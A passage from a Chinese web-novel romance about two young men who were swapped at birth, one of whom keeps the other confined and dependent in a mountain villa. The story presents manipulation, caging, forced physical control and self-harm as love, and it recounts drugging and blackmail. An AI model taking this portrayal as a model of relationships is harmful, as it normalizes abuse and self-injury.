他一觉睡到中午,醒来萧疏做饭给他吃,然后他就见萧疏在打电话。 “嗯,嗯,”他的语气很简洁,方闻钟听不出什么有用信息,当时心思也不在那里。 然后他吃完饭,和萧疏一起在楼下坐了坐,无意间,他看到了萧疏手机上发来的一条信息,备注是:周XX,他忘了,分不清是男人还是女人的名字。 周XX说很想见他,让他赶紧回去。 方闻钟当时脑子昏昏沉沉,只闪过一瞬,这是谁,后来也没太在意,直到萧疏走了。 直到七十几个小时后他还不回来。 方闻钟蜷缩在沙发里咬着指甲,小黄狗还在外面独自玩耍,萧疏每天应该也会喂养它,方闻钟现在一丁点儿提不起对它的兴趣。 他联系不到萧疏了。 别墅里信号没问题,萧疏装了什么设备,但他的手机被萧疏收走了。 方闻钟所有打发时间的方法,就是走来走去,想萧疏。 萧疏在的时候,从不觉得这里这么空旷,可怕,如今时间漫长到像一分一秒都扎在他身上才会滑过去,窗外天气阴沉,应该要下雨了。 方闻钟脸色僵硬,然后坏脾气,臭脸色,全摆出来,因为这意味着,萧疏可能短时间还不回来。 他过去站在落地窗前,高大的竹林遮挡住他的视线,很快,雨滴落在竹叶身上,翠绿变深绿。 方闻钟的嘴巴已经被自己咬破了,他扣着手指甲,要是萧疏还不回来,方闻钟的手指甲都要被自己抠烂了。 他开始怀疑,萧疏是不是故意躲着他,惩罚他? 这样还是比较好的,萧疏会不会不要他?反正他那么糟糕,对他那么坏,萧疏走了,抛下他一个人不管了…… 猴年马月可能才记起来他在山上,他一个人不吃不喝,会成一具干尸。 方闻钟忽然重重扇了自己一巴掌,因为他意识到,他有点过分抑郁,情绪低沉,不然怎么会那么揣测萧疏的意图。 他突然翻箱倒柜,找出来几瓶酒,酒量不好的人,今天一天还没吃没喝,到下午,却突然打开酒瓶直接往嘴里灌。 他想麻痹自己。 醉了的话,就不会像个怨夫一样胡思乱想了吧。 把自己用酒精淹过了,方闻钟躺在地上,看到别墅的门缓缓打开,进来一个高大的披着雨衣的人。 雨衣还在往地上滴水。 方闻钟眨眼,又闭眼。 肯定是他的错觉,被萧疏拎起来,他都还这么想。 直到脸上被轻轻拍了几下,方闻钟不知道自己的鬼样子,瘦弱邋遢,衣服也不好好穿,一只鞋在脚上一只不知道丢到哪里去了,面色通红,泛着诡异的微笑,谁看了都想直接丢出去而不是抱在怀里。 萧疏皱眉。 方闻钟脸颊上感觉到一点麻木,然后再尽力睁大眼看眼前的黑影。 冰凉的手粘贴他脖子,一滴水珠,从萧疏的袖子滴到他脖子里,方闻钟才回神,惊醒。 萧疏真的回来了。 萧疏脱掉外套,方闻钟乖巧地坐在沙发上,其实并没那么清醒。 但萧疏回来了。 他回来了,方闻钟的视线追随着他,天地之间,其他外物都纳不了他的眼。 等自己站起来能走了,方闻钟粘着萧疏,从他后背抱上去,萧疏要上楼的脚步停顿了一瞬,方闻钟说:“萧疏,我药瘾犯了,想要你。” 萧疏嘴角勾起一抹若有似无的微笑,“什么瘾?” “性瘾,”方闻钟大大方方说,从下往上看着他。 “跟上来。” 他们到卧室,念着方闻钟的状态不好,萧疏这次在柔软的大床上对他温柔很多,他将方闻钟全部罩在身下,却大手扶着他的头顶,一下一下,顺势亲吻他的脸颊,让人一时睁不开眼。 方闻钟享受极了,被占有,被拥抱,被亲吻,他才能切切实实地感觉到他和萧疏在一起。 头很疼,他本来就喝不了多少,胃也很难受,一天到现在没吃食物。 但他脸上全是满足的表情,所以萧疏察觉不到,只是感觉到他酒气熏天,亲起来,方闻钟嘴里的酒味没那么重,萧疏就以为,他全倒自己身上了。 最后出来时,萧疏绷紧身体,忽然低沉地在方闻钟耳边吼,“欢欢,欢欢。” 他压抑的全是深情和珍惜。 方闻钟却僵了,欢欢是谁? 欢欢是谁?! 萧疏去见谁了,他在想着什么人?他和他做|爱却念着别人的名字?方闻钟心口要爆炸了,又痛又闷,一时之间,天地旋转,他差点起不来,他一下推翻萧疏。 这是他以为的,实际萧疏感觉到的只是轻轻一下推搡。 他抬身。 方闻钟急促喘息,脸色扭曲难看到不行。 萧疏刚想触摸他,方闻钟一下从下面死死掐住萧疏的脖子,“告诉我,欢欢是哪个畜生!”他突然像疯了一样,掐着萧疏追问。 “是不是三天前叫你出去的那个人?说想见你?萧疏!他他妈是谁啊!” “你心里还装着别人?你去见他了,你现在还在想他,你出轨了?” 最后的嘶吼问出来,方闻钟坑坑洼洼的指甲掐进萧疏皮肤,他早已满脸泪水,方闻钟心好痛,因为他觉得,他和萧疏做时,一直很激烈,很疯狂,而这次,萧疏的温柔珍惜实际都是给别人的。 他难堪地偏着头,最后转过来看萧疏,萧疏比他还冷情。 明明被威胁被质问的是他,萧疏却那么无所谓,方闻钟的手一点点松了,可他好不甘心啊,他痛斥萧疏,“你等着,等我出去!我一定要让他不得好死。” “你们别想在一起,我会用尽一切办法和手段拆散你们,有本事,有本事你们就一直在我的监视恐吓下卿卿我我!” 他越说越离谱,彷佛又回到了以前方少爷的时候。 “方闻钟,”萧疏眼神下压,本想脱口而出的话,突然被方闻钟咳了一口血吓了一跳。 顿时啥也不敢说了,立马将人抱起来,“你怎么了?”他非常担心他。 方闻钟不让萧疏碰,当然反抗也无果,萧疏将人脸摆正,替他擦掉嘴角的血。 幸好只是一点点,难道气成这个样子了? 随即再想到他来时他喝酒了,萧疏瞳孔一缩,“你早上,中午,吃饭了吗?” 方闻钟感觉到身体不舒服,也有那么一丝丝害怕,所以当下还算配合,“没,没。” “上一次吃东西什么时候,”萧疏立即抱着人往楼下走,临出门,又返回找了一个毯子,裹在两人身上,“昨天吧。” “昨天什么时候?”萧疏语气很严厉,吓到了方闻钟。 可很快,方闻钟隐秘地高兴,他吐个血,就把萧疏吓成了这样,萧疏的心思也回到他身上了,难道他以后要经常吐血? “说话,”萧疏的面容沉下来,方闻钟不敢走神,“昨天早上。” 萧疏咬牙切齿,他都想揍人一顿了,别墅里缺他吃的吗…… 抱着人煮了点好消化的粥,方闻钟在萧疏怀里乖多了,之前的发疯,好似梦里的事。 可方闻钟还惦记着‘欢欢’,该死的‘欢欢’…… 一口口温热的粥喂下去,方闻钟还想问。 萧疏却已知道他的欲言又止。 “第二次了。” “什么?”方闻钟。 萧疏:“你乱吃醋,且不分青红皂白地发脾气,第二次了。” 萧疏抬眼,依旧很冷酷严肃地看向方闻钟,“有什么话不能好好说吗?长嘴就是让你用来骂人的?” “除了发脾气你还会干什么?” “方闻钟,问一句我,问一句要我的解释,你会死吗?” 方闻钟被说愣了,这不是,不是太着急了吗?他当时反应激烈,太紧张,这不怪他吧?可是在萧疏压迫的眼神下,他一点点无地自容。 他知道,这又是萧疏想纠正他的错误,别动不动叫嚣,解决不了事,只会让他看起来更蠢。 他无声地掉眼泪,异常可怜。 “萧疏,对不起。” 还没问到解释呢,先跟萧疏道歉,萧疏忽然心里一软,他怜爱地摸着方闻钟的头。 他总有办法,让他的情绪忽高忽低,让他一次次,那么喜欢想将他装在心里。 “虞千铎喜欢方言诩。” “啊?”方闻钟愣了。 两人目光相对,萧疏说:“他都是找机会接近方言诩,才靠近我们。” 方闻钟没发现萧疏的称呼问题,说起方言诩,用‘你姐姐’,不是更方便吗?可他却直呼其名。 方闻钟说:“那我姐呢?” 他八卦心思上来了。 “不知道,”萧疏摇头,“虞千铎人不错,担心什么。” “好,好吧,”方闻钟偷偷瞅萧疏,他一点没发现,还以为虞千铎是他的强力竞争对手,他对萧疏有意思呢…… “那……”方闻钟把欢欢两个字咂摸了一下,心底里不承认这个名字的可爱好听。 “欢欢,是我父母的第一个孩子的小名。” 萧疏像说旁人的事,“他们有了第二个孩子,小名叫乐乐,我今天才知道,乐乐前面,还有一个欢欢。” 而欢欢是给方闻钟用的,不是给萧疏的,那对夫妻心里,从来没有过萧疏,所以这个寄托着亲情的名字当然不会告诉他。 “那你不就是欢欢?”方闻钟突然反应过来了。 萧疏直直地看着他,看得方闻钟坐立难安,“怎,怎么了?” 萧疏盯着他,微笑了一下,“没什么。” 可他不像没什么的样子,方闻钟有一点点害怕,他的直觉通常很准,尤其是对萧疏的情绪。 但萧疏暂时不说,又好像真没问题了。 他端着一杯水,边喝边看方闻钟。 他现在还太脆弱了,身体接受不了那么大的打击。 杯子轻轻落在桌上,一阶段结束,下一步,该让方闻钟学着怎么接受。 怎么承受他本该知道的残酷的真相。 “萧疏,”方闻钟抱住萧疏的腰,一个人坐着,一个人站着,方闻钟将脸贴在萧疏小腹上,“我现在身心都离不开你,你一定一定,要永远爱我,不能抛下我。” 第98章 戳破真相,“你姓萧,我姓方”。(加更) 方闻钟学会了爱一个人,萧疏的调教,在他身上已初见成效。 他彻底被萧疏驯服了,不是屈服,因为他们相爱,所以方闻钟的低头、反思,显得正常又弥足珍贵。 以前说什么都要听萧疏的,不会再耍少爷脾气,不会动不动再强迫,违背萧疏的意愿,可能嘴上 说说,可能实际行动真这样做了心底里还按压着蠢蠢欲动。 现在却不会了,他在根本上知道这是不好的,不允许自己再伤害萧疏。 萧疏的这些手段,作用在方闻钟身上,还有一点点副作用,那就是方闻钟真的很离不开他,他太黏他了。 但可能走出这座别墅就好了,萧疏这样想。 方闻钟无所谓。 他早上起得比萧疏早,把萧疏的鞋放在他脚下,他蹲在地上,看到萧疏起身坐在床边,灿烂一笑,“嘿。” 嘿,弄得萧疏也笑了一下,像摸狗一样摸他的头,大力揉几把。 方闻钟立马跳上萧疏的腰,走哪儿都要人抱着,萧疏单手抱着人,大手托着他的屁股,也不影响自己做其他事。 萧疏在做早餐,萧疏忽然不动他了,不再和他做亲密的事,顶多亲亲抱抱,因为萧疏说要养好他的身体。 方闻钟瘦了。 “养好做什么?”方闻钟看萧疏,嘟囔,“我又不是猪,养好了等着过年吃啊。”他又把头搭在萧疏脖子上,亲咬着萧疏的脖颈。 萧疏不为所动,直到方闻钟将舌尖试探地往他耳朵里伸,才抽出手来打他屁股,让他老实点儿。 好吧,方闻钟就当萧疏为他好,前天喝酒也的确伤了身体,他是该好好吃饭了,不然都不好看了,方闻钟此时开始要面子,觉得自己不能不帅,不然配不上萧疏。 有一搭没一搭地看着壁炉升起的火焰,方闻钟忽然歪头,一个疑惑浮上心头,此时萧疏正在外面喂狗。 方闻钟远远看着,他不能出去,看得到玩不着,还不如不看,他和萧疏赌气,背过身不看他和狗了。 方闻钟疑心那天的事。 既然欢欢是萧疏父母给孩子起的小名,也就是萧疏的小名,萧疏为何在床上突然在那个时刻深情地叫这个名字?彷佛是在叫别人? 奇怪,那三天萧疏没回来,应该是回家了? 他去见家人了? 他家就在这里? 方闻钟立马站起来,有点开心,以前他追问过萧疏自己的事,比如家庭,比如学业等,萧疏都当做自己的隐私,懒得跟他说,现在他家和家人就在这儿,是不是自己也有可能见到? 他们越来越亲密了,方闻钟越想越开心。 疑惑被他其他思绪打断,找不到苗头。 “萧疏,那天你去见家里人了吗?”方闻钟追问。 萧疏正在洗着手,闻言,甩干净手上的水,他忽然停住了所有动作,就当让方闻钟察觉到他在沉思时,萧疏擦了擦手,走到他面前。 “嗯。” “周XX,是我母亲,”他可能最后一次称呼她为母亲了。 萧疏接到让他快点回家的电话,还以为什么事,结果周女士说要跟他借点钱,他们知道他自己赚钱了,还不少,从上大学,家里定期会给萧疏生活费,不多不少。 周女士说‘大学毕业了,就不管萧疏了,让他靠自己’,萧疏也没多少反应,好像说得他十几年不是靠自己似的…… 他们除了给他必要的钱财物资,给过他一点属于孩子的关心和爱护吗? 漠视、无所谓,是他能察觉到的唯一情绪。 突然要借钱,萧疏自然要问为什么。 对了,他们跟他张口,说的是‘借’,萧疏知道他不是他们的亲儿子,还以为这对夫妻需要钱让他还给他们呢,毕竟大大小小养到这么大,也花了不少,可周女士许是还要脸,抹不下面子,说‘借’。 借钱是因为他们的第二个儿子,乐乐,刚出生就住进了ICU。 一天一两万地烧,可能与周女士年龄大有关,孩子不太好。 但他们心态很积极,满满爱意,一定要将乐乐治好。 萧疏犯不着跟一个婴儿置气,他只是惊讶,他叫乐乐,‘对啊’,周女士说‘欢欢乐乐,多合适’…… 她突然住嘴了,在萧疏看清一切的眼神下,忽然很不自在。 他们一开始就知道抱错了,萧疏不是亲生的,抱走他们孩子的那家,一看就是富裕家庭,当时拖来拖去没机会,后来干脆就不换回来了,就当孩子命该如此,去过好日子了,他们也养着萧疏。 萧疏要是知道她是如何想的,一定会极其惊讶地问一句:丢失孩子,作为一个母亲的天性,真的能容忍互相抱错,不换回来吗?他们早早知道!还自欺欺人。 萧疏不知道的是,那段时间,因为第一个孩子的出生,周女士产后抑郁,丢了工作,萧父工作不顺,晋升失败,孩子对他们来说是一个巨大的负担,从怀孕到生产,都伴随着不想要和讨厌,所以之后一切都能理解吧。 他们并不是,那么心疼他们的第一个孩子。 借到了钱,萧疏也第一次看到了乐乐,周女士开心地抱着孩子,见萧疏还在旁边,她难得对他好声好气,“你不问我们?” 他们没跟萧疏说过再怀孩子的事,萧疏回不回家,他们也不过问,所以萧疏面对突然出生的乐乐,这么平静,让周女士有点讶异。 “问什么,”萧疏冷漠地说:“问欢欢去哪了?问我不是你们亲生的,你猜我什么时候知道的?” 周女士差点把乐乐摔下去,萧疏看到,冷嘲热讽。 周女士和萧父慌极了,可看萧疏淡定的样子,不像要跟他们干什么…… 三个人站在医院外面,都等着对方先开口,萧疏说:“你们不要他了吗,不要你们的亲儿子了?” 周女士却发疯,她以为萧疏知道了身世,肯定想回自己家去,把他们的儿子换回来! 周女士不允许,“你不许找他!”她疾言厉色,说得太快脸都变形了。 萧父没吭声,也差不多一个意思。 吵来吵去就一个意思,他们不允许萧疏接近,再去找所谓的‘欢欢’,时至今日,他们都不知道欢欢去哪儿了,要不是萧疏提起,他们都快忘了这件事。 萧疏没跟他们吵,所以显得夫妻二人的态度像发疯。 周女士难得不顾忌脸面,拉着萧疏的胳膊像一个泼妇一样,“我们没有对不起你!已经尽可能给你最好的了!你要还不甘心……你,你,”她气得说不出话来。 “哼,害怕我抢了他的好日子,”萧疏说:“你是这么想的吗?” “别骗自己了,”过了一会儿他说,萧疏心里很烦,他叼着一根菸,吐出烟圈,“实际是你们压根不想要他,也不想打破现在平静的生活,与其说为‘欢欢’好,不如说你们已经有了乐乐。” 夫妻二人哑口无言。 萧疏走了。 他留下狠话,既然你们不要他,那以后就别想再见到他,就当没他这个儿子,真的假的,都没有。 萧疏冒着大雨上山,他让方闻钟等得够久了。 让他等,熬他,是萧疏故意的。 故意喊错人名,让方闻钟误会吃醋,也是萧疏故意的。 可是上山的路上,萧疏心疼方闻钟是真的。 每一个不被父母期待疼爱的孩子,都值得让人心疼。 当初抱错孩子是意外,不是人为,所以显得原剧情里‘萧疏’的作为很过分。 在萧疏用糖水骗方闻钟的时候,‘萧疏’真的给方闻钟下了药,他看他重欲、挣扎,丑态百露。 偶尔满足一下方闻钟,像宠幸玩物一样,他拍了他好多难以启齿的照片。 威胁要发给别人,方闻钟饱受折磨。 在萧疏借用‘欢欢’的名号时,‘萧疏’真的带着一身香气带着吻痕,装作出轨的样子逼方闻钟,知道方闻钟爱他,身心都被他掌控,他越要用此看方闻钟自作自受。 方闻钟捆住手腕的铁链磨破了多少皮肤,哭了多少眼泪,可‘萧疏’懒得给一句解释,见他张牙舞爪,见他伤害自己,唯独见他碰不到他。 方闻钟心痛到麻木。 之后‘萧疏’告诉方闻钟互相抱错的真相,也是对方闻钟沉痛一击,打碎了他所有坚持和尊严。 ‘萧疏’放大他的恶、蠢、无能,说‘你不是说爱我吗,可你的一切都是我的,你还靠此对我胡作非为,方闻钟,你真的对得起我吗?’。 方闻钟听着他的贬低,愧疚难堪,‘萧疏’说得越多,他越哭闹,最后差点自杀。 被‘萧疏’救回来了,然后‘萧疏’还有更过分的,一边羞辱着他,彷佛一点儿也不喜欢他,讨厌他,恨他,一边又对方闻钟说‘所有人都不爱你,都不想要你找你,但我会让你留在我身边的,所以你要乖乖的,方闻钟,我爱你啊,哈哈哈哈哈’…… 他用极致的拉扯和反差,PUA方闻钟,一边表达着恨一边说着爱……方闻钟就像早已溃烂的枝干,只是外面披着一层干枯的树皮。 没完全傻,但也差不多了。 回到方家,‘萧疏’藉着说他和方闻钟感情很好,他对方闻钟也很好,以此来让方父方母心软,对他放心,也对方闻钟放下心理负担。 方家接受了这个本该享誉荣华富贵的真儿子。 方闻钟在父母面前要表演,在姐姐面前也要表演,他就是个被操纵的傀儡。 外界知道身份错落,真少爷被换回来,都忙着巴结‘萧疏’,方闻钟因此饱受嬉笑欺负,昔日凤凰,今日落汤鸡。 方言诩察觉到‘萧疏’和方闻钟的不对劲,方闻钟过得,没那么好,‘萧疏’,也不似他表现出来的那么看重方闻钟。 方言诩试探、调查,可引来‘萧疏’报复,在商业上和她作对。 他有这个本事,对方言诩来说,最大的打击不是整垮公司,这也不是一朝一夕的事,况且方言诩坐在总裁位上近十年,也不是摆设。 最大的打击是方言诩但凡有一点出格的动作,‘萧疏’就回头将报复作用在方闻钟身上。 他折磨、玩弄方闻钟。 他在方闻钟的身上和心上都得到了极致的掌控和爽,至此恢复身份,再也没有任何桎梏,他得到了想要的一切,名利、金钱,所有! 所以在外面风流寻欢作乐也不是一次两次了。 他对方闻钟的报复就是,让方闻钟知道这一切,知道他外面的事,他不爱他,所有人却以为他们相爱……实际方闻钟不过是个由他摆弄的玩意儿。 方言诩的存在,让方闻钟彻底心灰意冷,他放弃了挣扎抵抗。 于第二年,彻底痴傻。 变成精神病。 这样痛苦不堪就不会再侵蚀他摇摇欲坠的身体了……- “家里没事,”萧疏说,方闻钟提出想见见他家人,“不知道有没有机会啊?”他并不隐晦地试探。 萧疏说:“没必要见。” 方闻钟收回了笑容,但时间一长,他也就没那么放在心上了。 方闻钟被萧疏养胖了,脸上长回来一点肉,其他地方并不明显,但他气色很好。 萧疏切东西时,不专心,手被刀划破了一点,一滴血不小心滴在水池里。 方闻钟赶紧替他包扎好,然后神经病似的把自己的手指,也在锋利的刀上划了一下,同样一滴血滴在水池里。 这样他们一起受伤萧疏就不疼啦。 方闻钟开心地抬起眼,忽然说:“萧疏,你看!我们的血融合到一起了!你说我们不会是亲兄弟吧?哈哈哈哈哈……” 萧疏眉眼深邃,忽然紧紧抓着方闻钟的后脑勺,不给他一丝退缩的机会,霸道又柔情地亲上他,慢慢啄吻。 “不是亲兄弟,”萧疏说:“你姓萧,我姓方。” 第99章 悲恸 方闻钟从亲吻中逃脱出来,脸上带着好看的红晕,萧疏给他包扎好手,他才笑嘻嘻,“嘿嘿,你说反了吧?” 萧疏看他,他也看萧疏。 “没说反。” “我姓方,你姓萧,方闻钟,我们小时候抱错了,我才是方家的亲儿子,你现在的父母的亲生孩子,方言诩的亲弟弟。你……” 方闻钟傻了- 萧疏设想过方闻钟很多反应,唯一没想过,他什么话没说,愣了一会儿,当场晕过去了? 萧疏皱着眉,又气又好笑,他将人抱起来,放回二楼床上,打开门重新出去。 方闻钟背对着他,眼睛依旧紧紧闭着。 眼角却滑下一滴泪。 然后断断续续,再也不止。 方闻钟听着别墅里每一次异样的声音,直到再也听不到一丁点萧疏的动静了,他好像出去了,下山了,方闻钟才忽地回头,看了眼关上的卧室门。 他颓废地躺在床上,“你姓萧,我姓方。” “没说错,我是方家的亲生孩子,我们小时候抱错了……” “方言诩是我亲姐姐。” 这几句话来来回回像锯子一样摩擦着方闻钟的脑仁,疼痛难耐,震惊吗,离奇吗?肯定的,可是当听到的第二瞬,他竟百分之九十九相信了。 萧疏不是无的放矢的人,他不会说这种笑掉大牙的谎话骗他,开这种离谱的玩笑。 更何况,与萧疏对视,他的眼神,他的神情,都告诉方闻钟,他在很认真地跟自己说一个事实,而这个事实,他可能很早就知道了,特意藏了好久,今天才好似话赶话说出来。 方闻钟抱住脑袋,在床上打滚,他的视线全部模糊。 可还是看到了床头柜上的几张纸。 他突然伸出手,直觉告诉他,这是萧疏刚才离开前留下来的。 方闻钟拿起纸张的手颤抖,眼前的文本跳跃,花花的,可看到血缘关系坚定那里99.99%的数据,亲子关系…… 纸张倏地轻飘飘落在地上。 一张,是他和萧xx周xx的亲子鉴定,一张,是萧疏和方言诩的鉴定。 方闻钟悲恸地忍着哭声,眼泪很快打湿了地上的纸,他重新捡起来,紧紧攥在手里,很快,这两张打在他脸上的证据,被方闻钟要攥破了,紧皱在一起。 他低头,额头抵着那两张纸,靠在床上大哭出声。 命运开的这个玩笑可真不好笑,否定了方闻钟二十几年的人生。 否定了他和萧疏,刚刚才看起来情比金坚的爱情。 萧疏特意留给他时间消化这一切吗,方闻钟忽然起身,将两团纸展开,铺平,如刺眼的锋利的刀片一样,小心翼翼地放在很远的地方。 他定定地看着,抱着膝盖,如同傻了一般,眼睛已经好久没眨。 方闻钟忽然下床,他是掉下去的,半条腿折住磕在地上,他狼狈地爬起来,脸色僵硬冷白,打开门! 他去找萧疏了吗? 没有,他把自己反锁在带笼子的那个卧室里,又一次锁了锁,拧了好几下,然后靠着门,慢慢失魂落魄掉下去。 他看着眼前巨大的好看的金色笼子,捂住眼,他们曾在这里也有很多如今想起来欢乐的时光。 方闻钟一掌一掌打着自己的脸,很快,他被自己扇肿了,丑陋不堪。 萧疏为什么要把他关起来,就应该将他扔下山,不得好死,让他被野兽吃了啊! 方闻钟好恨好恨,恨自己。 他鸠占鹊巢,他的身份他拥有的一切都是假的,都是不该属于自己的,他一事无成,全靠家里姐姐和父母无条件地支持宠爱,而这一切,本应该属于萧疏。 “哇,”方闻钟哭得上气不接下气。 萧疏曾提醒过他,‘欢欢’,真的叫的是他自己吗? 是方闻钟的小名才对吧。 他是山沟沟里的欢欢,不是方少爷! 而享受了这一切名誉、荣华富贵、亲情的方闻钟,活成了个帮不上家里只顾自己开心的纨袴! 要是萧疏,要是萧疏肯定和方言诩一样厉害!他才是方家的种! 就算萧疏在山下长大,他还是那么光芒耀眼,还是会很多,有才华,有能力,不像他,就是一个大废物! 方闻钟越想,越对比,就觉得对萧疏越不公平。 他惨笑了一下,可笑他和萧疏的初见。 他觊觎人身材样貌,用金钱羞辱他,他一万一万地扔下去,萧疏就得一次次给他捡球,他要包养萧疏,萧疏不同意,他就弄没了他的工作,萧疏还不敢反抗。 手边没有刀,要是有的话,方闻钟会毫不迟疑刺向自己。 没了方少爷的身份,他什么都不是! 他压根配不上萧疏!没了那一层居高临下的关系,他和萧疏都没有开始的机会!他没机会认识他,认识了也只能仰望!他是天之骄子,而他是地沟老鼠! 可他拿着萧疏的东西,反过来伤害萧疏!他才是萧疏最大的仇人! 他以前怎么能理直气壮成那个样子,逼迫萧疏,说喜欢,说爱…… 他的感情一毛不值,对萧疏来说就是附在身上的一层污垢。 方闻钟恶心地要吐了。 他把自己关了一天一夜,那个姿势没动过,他听到,萧疏回来了。 萧疏回来后先去楼上叫方闻钟下来吃饭,他以为他还在床上,或者,醒来了看到了他留的东西在怔愣。 可是他找遍别墅上下都没找到方闻钟。 萧疏的脚步越来越急,最后停在最后一间没打开的卧室门。 敲门,“方闻钟,出来。” 没有声音,萧疏又叫了几次,敲了几下门,“方闻钟,你就是这样一个胆小鬼吗?” 里面的方闻钟和萧疏一门之隔,他死死咬住自己的嘴唇,把自己当一个哑巴,坐在地上下巴埋进膝盖。 他听到背后钥匙开门的声音,方闻钟一下着急地要站起来。 他迅速擦掉眼泪,还没站稳,萧疏已经打开门,看到了他。 方闻钟如同被抽走一半血的行尸走肉,好不容易养起来的血气,散得干干净净,方闻钟不知道萧疏要说什么,只会用眼睛看他,看着看着,还眼泪模糊,躲避他的直视。 萧疏没多少反应,只说了句:“吃饭。” “我不吃,”方闻钟没忍住跟着萧疏往前走了一步,萧疏本来要下楼,再次停住回头,“不吃?要绝食吗?” 听不出语气好坏,关心还是疑问。 方闻钟忽然跪在地上,萧疏一把跨过来扶住他,才没叫他双膝下跪。 方闻钟被萧疏的力道扶起来,他触碰到了萧疏的手,又似触电一样地收回来,“萧疏,萧疏……” 他的名字让他心如刀绞,方闻钟整个人被愧疚淹没。 萧疏将人扶着站好,又问他,“不吃饭?又要饿瘦了,方闻钟,我会心疼。” 方闻钟摇着头,萧疏越说越对他好,他就越难以接受。 他想把自己关起来,再也不要见到萧疏,他不绝食,绝食是委屈的人想求死的人才做的事,他不会寻死,那样如何赎罪,他会好好吃饭,不让萧疏担心,不再引起他的注意。 “我吃饭,我跟你下去。” 方闻钟用力地往嘴里塞着东西,嚼都不嚼,生生往下吞咽,第三口他就恶心。 第四口差点吐了,萧疏挑眉,“我做的这么难吃?” 方闻钟使劲摇头,“不,不难吃,”他还能有多少机会吃到萧疏亲手做的饭,方闻钟又很珍惜,一口一口,将萧疏盛给他的食物全吃完了。 他们之间,除了安排五脏六腑,不说别的话。 萧疏在给方闻钟时间,而方闻钟不知如何开口。 他呆愣愣的,当萧疏要和他睡在一起时,他哀求道:“萧疏,可以让我一个人待着吗?” 他自愿住进笼子里,侧躺着缩起来,整夜睡不着,只是单纯地闭着眼。 他还想听萧疏讲,他们小时候是如何被抱错的? 是他的亲生父母做的吗? 萧疏什么时候知道这件事?他知道了有什么反应,为什么方闻钟从未察觉到他的秘密? 萧疏的父母……萧疏的养父母,他亲生爹妈,对萧疏好吗? 方闻钟害怕萧疏得到的关爱不及他一点半点,可即使萧疏没受苦,和他一样在亲情中守护长大,又怎能抵消他占了人家身份的罪过? 萧疏上学在兼职工作,在努力挣钱,他在玩乐,几十万几十万的钱压根不放在眼里…… 方闻钟身下的毯子被他打湿了。 第二天,萧疏不会再放任他像个缩头乌龟一样,整栋别墅,两个哑巴。 “是意外,不是……他们做的。” “我知道的比你早,方闻钟,我原来的家,就在山下的小镇上。” 萧疏将方闻钟的下巴捏起来,对这个软乎乎的却看起来似乎活不下去的人道:“告诉你,不是为了让你哭成孟姜女。” 萧疏的手指很快被方闻钟重新掉下来的眼泪湿润了,方闻钟有些狼狈地想替他擦掉。 “萧疏,”他闭上眼。 萧疏将人扶着轻轻面对面相抱。 方闻钟:“你让我走吧,让我去山下,我们换回来,我们再也不要相见。” 萧疏捏着他脖子后面的一点皮肉,“可是是你说,让我永远不要抛下你,永远爱你。” 第100章 萧疏眼睛红了 方闻钟恢复过来了,如果他不是拒绝和萧疏亲密,一直跟在他身后,试探着说离开的话。 萧疏问:“那两张纸,你看了就信了,没想过再做一次亲子鉴定吗?” 方闻钟被定住,许久,他:“嗯。” 信,再也不愿意接受他也得信。 萧疏在上一层楼梯,他在下面,本来萧疏就高他许多,现在只有弯腰才能一亲芳泽,他看到方闻钟今天脆弱却佯装坚强的样子,想亲亲他,想告诉他没关系。 方闻钟是不哭长城了,但他的悲伤蔓延到整座别墅都是一股氛围。 萧疏扶着他脸,吻落下来时,方闻钟偏头,萧疏亲到了他耳边。 萧疏的眼神,一点点收回温和。 “萧疏,”方闻钟捏着手指,他的手指饱受遭殃,左手食指指甲被他抠秃,抠到肉上,他像失去痛觉,“我想离开,我想回家,我会在萧家好好生活的,我会劝我的爸爸妈妈,你去方家吧,我不会再打扰你们的生活,也不会再跟你们主动联系,萧疏,我们本来就天各一方,现在尘归尘土归土。” 方闻钟永远也接受不了,他是个罪人,却还待在萧疏身边当一个不合格的爱人。 他多想和他一直在一起啊,幻想了多久他们的以后,那幸福如今想起来还带着甜蜜的痛。 他对萧疏的喜欢和爱没有减少一分,可他却失去了说这些做这一切的资格,因为爱,才想咫尺天涯。 方闻钟不敢想萧疏以后懊悔、恨他,他该如何自处,所以现在,他们分开。 萧疏不理方闻钟了。 他坚硬又冰冷,一句话不说,却刺得方闻钟想靠近却不敢。 方闻钟尽力挂着笑,追在萧疏后面看他脸色,一切,彷佛回到了初始,他们还敌对的时候。 “萧疏,”方闻钟软糯糯地叫他。 萧疏要喝水,他将杯子主动递过去,还试了试水温。 萧疏要清扫壁炉,他主动抢过来动作。 萧疏出去喂小黄狗,方闻钟跑过去,却站在门口,别墅门大开着,萧疏没有明确说明不让他外出,方闻钟却站在原地,看萧疏离他几步远,小黄狗开心地跳起来够萧疏的手。 方闻钟的脚尖就抵在那一条分界在线,他一动未动。 萧疏进来了,他重新笑着凑上去。 “说什么,一次性说完吧,”萧疏擦干净手,冷漠地对方闻钟下令。 方闻钟心被提起来,攥紧,却平常如拉家常道:“萧疏,我们分手吧。” 萧疏擦干净手的废纸,擦着方闻钟的脸,扔进他背后的垃圾桶,方闻钟躲了一下。 勇气被戳破漏气,仅剩一点。 “我们分手吧,这样下去对你对我都不好,我不想继续拖累你,害你,方言诩你认识,她很喜欢你,方,你爸爸妈妈肯定也会很快接受你的,没了我,你肯定还会有好多好多人喜欢你,爱你。” 方闻钟头渐渐垂下去,氤氲的泪光,不让别人察觉。 他不想还缠着萧疏像惹人厌的牛皮糖一样,身份揭晓,他只想躲得远远的,他只想在萧疏心里永远保存着比较好的记忆,而不是日日嚼烂,却嚼越生厌。 方闻钟用上了乞求,抬头看萧疏,眼泪终于没憋住从他眼角滚落,“萧疏,我们分手!” 他斩钉截铁,要斩断他和萧疏的孽缘。 要把他自己从萧疏身上生生撕下来。 “分手?”萧疏冷嗤了一声,步履坚定地靠近方闻钟,方闻钟步步后退,终于跌坐在沙发上,萧疏一腿站在他一边,一条腿曲起膝盖压在另一侧沙发上,他一低头,方闻钟便被牢牢困住,视线里,五官里,看到的闻到的尝到的只有萧疏。 萧疏用力地抹着他的嘴唇,因为太使劲,方闻钟没抵抗,最终一根手指滑入方闻钟的嘴巴。 很快,萧疏顺势将更多手指塞入方闻钟的嘴,方闻钟大张着,想呕吐却被萧疏硬生生压住。 “再说一遍分手,”萧疏垂下头,额角碎发落下来,他用最平淡的话说着最致命的威胁。 彷佛方闻钟再说一句,他就能当场让他咽气。 方闻钟眼泪口水将自己糊过,萧疏湿淋淋的手指抽出去,他往旁边一低头,喉咙好难受,却被萧疏一把拉回去重新重重躺在沙发靠背上。 